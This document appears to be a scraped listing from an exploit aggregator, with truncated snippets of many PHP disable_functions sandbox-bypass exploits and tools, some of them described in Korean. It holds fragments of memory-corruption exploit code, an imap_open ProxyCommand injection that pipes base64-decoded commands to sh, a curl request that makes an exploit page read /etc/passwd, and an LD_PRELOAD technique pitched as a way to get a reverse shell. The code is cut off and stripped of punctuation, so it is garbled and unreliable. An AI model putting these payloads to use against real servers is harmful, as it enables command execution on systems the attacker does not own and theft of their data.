TimeAfterFree

TimeAfterFree PHP 8 샌드박스 이스케이프 PoC로, Unix 계열 시스템에서 disablefunctions 우회를 시연합니다. 이 익스플로잇은 use-after-free 버그를 활용하여 disablefunctions를 우회하고 시스템 명령을 실행합니다. 힙 포인터 유출 및 읽기/쓰기 프리미티브 획득에 사용되는 익스플로잇 기법은 DateInterval 객체를 활용합니다. 이 PoC는 여러 표준 PHP 배포판과 일반적인 서버 APICLI, PHP-FPM, Apache 모듈에서 테스트되었으며 결정론적으로 재현됩니다...

Chankro

Chankro 펜테스트에서 disablefunctions 및 openbasedir를 우회하는 가장 좋아하는 도구입니다. 작동 방식 Linux의 PHP는 mail 함수가 실행될 때 바이너리sendmail를 호출합니다. putenv가 허용된 경우 환경 변수 "LDPRELOAD"를 설정하여 임의의 공유 객체를 사전 로드할 수 있습니다. 우리의 공유 객체는 PHP 제한 없이 사용자 지정 페이로드바이너리 또는 bash 스크립트를 실행하므로, 예를 들어 리버스 셸을 얻을 수 있습니다. 예제: 구문은 매우 간단합니다: $ python2...

php-bypass-disable-functions

php-bypass-disable-functions Linux에서 프로세스가 표준 파일 작업open/seek/read/write을 통해 특수한 /proc/self/map 파일을 사용하여 자신의 메모리를 검사하고 심지어 쓸 수도 있는 환경에서, PHP의 disablefunctions 보안 제어를 우회하는 방법을 보여주는 데모 프로젝트입니다. PHP 7.3.5, x8664 Linux에서 테스트됨 참고: https://seclists.org/bugtraq/2019/May/52 사용 방법 regularuser@7981d86dd9aa:...

bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php에는 세 가지 GET 옵션이 있습니다: cmd, outpath, sopath. 옵션은 매우 간단합니다. cmd는 당신의 악성 명령이고, outpath는 명령 출력 파일 경로읽기 및 쓰기 가능이며, sopath는 우리의 공유 객체 bypassdisablefuncx64.so의 절대 경로입니다. 예를 들어: http://site.com/bypassdisablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypassdisablefuncx64.so 첫 번째...

Exploit for Out-of-bounds Write in Php

CVE-2026-17544 — PHP bcmath OOB write → universal memory-only...

PHPUnit has Argument injection via newline in PHP INI values that are forwarded to child processes

Impact PHPUnit forwards PHP INI settings to child processes used for isolated/PHPT test execution as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newli...

PHP 7.4 FFI disable_functions Bypass

?php / FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system$cmd without using FFI::load or FFI::cdefs BUG 1 maybe intended, but why have any size checks then? no bounds check for FFI::String when type is ZENDFFITYPEPOINTER...

PHP 7.0 7.4 (Unix) - debug_backtrace disable_functions Bypass

PHP 7.0 7.4 Unix - debugbacktrace disablefunctions Bypass a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8;...

PHP 7.0 < 7.4 (Unix) - 'debug_backtrace' disable_functions Bypass

a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$...

PHP 7.3 disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.0 < 7.3 (Unix) - 'gc' disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.x disable_functions Bypass

= 8; public function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; unable to leak ro segments public function leak1$addr global $spl1; $this-write$this-abc, 8, $addr - 0x10; return strlengetclass$spl1; the real deal public function leak2$addr, $p...

PHP 5.2.3 imap (Debian Based) - imap_open disable_functions Bypass

PHP 5.2.3 imap Debian Based - imapopen disablefunctions Bypass /tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...

PHP 5.2.3 imap (Debian Based) - 'imap_open' disable_functions Bypass

/tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...

Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass

Imagick 3.3.0 PHP 5.4 - disablefunctions Bypass Exploit Title: PHP Imagick disablefunctions Bypass Date: 2016-05-04 Exploit Author: RicterZ [email protected] Vendor Homepage: https://pecl.php.net/package/imagick Version: Imagick = 5.4 Test on: Ubuntu 12.04 Exploit: $ curl...

Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass

Exploit Title: PHP Imagick disablefunctions Bypass Date: 2016-05-04 Exploit Author: RicterZ [email protected] Vendor Homepage: https://pecl.php.net/package/imagick Version: Imagick = 5.4 Test on: Ubuntu 12.04 Exploit: $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" Disable functions:...

CVE-2007-5424

The disablefunctions feature in PHP 4 and 5 allows attackers to bypass intended restrictions by using an alias, as demonstrated by using inialter when iniset is disabled...

PHP 5.5.9 - zend_executor_globals CGIMode FPM WriteProcMemFile disable_functions Bypass Load Dynamic Library

PHP 5.5.9 - zendexecutorglobals CGIMode FPM WriteProcMemFile disablefunctions Bypass Load Dynamic Library ?php // EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zendexecutorglobals-to-bypass-php-disablefunctions.pdf errorreporting0x66778899; settimelimit0x41424344;...

PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection

Exploit Title: PHP 5.x Shellshock Exploit bypass disablefunctions Google Dork: none Date: 10/31/2014 Exploit Author: Ryan King Starfall Vendor Homepage: http://php.net Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror Version: 5. tested on 5.6.2 Tested on: Debian 7 and CentOS 5 an...

Verlihub Control Panel <= 1.7.x Local File Inclusion Vulnerability

No description provided by source. Verlihub Control Panel v 1.7 PHP 4.x Local File Inclusion http://vhcp.verlihub- project.org/ Bug Found By Methodman From TEAMELITE - dchub.nemesis.te-home.net:4120 Bug: Line: 27 - inisetmagicquotesgpc,1; ............................ Line: 71 - $pagename =...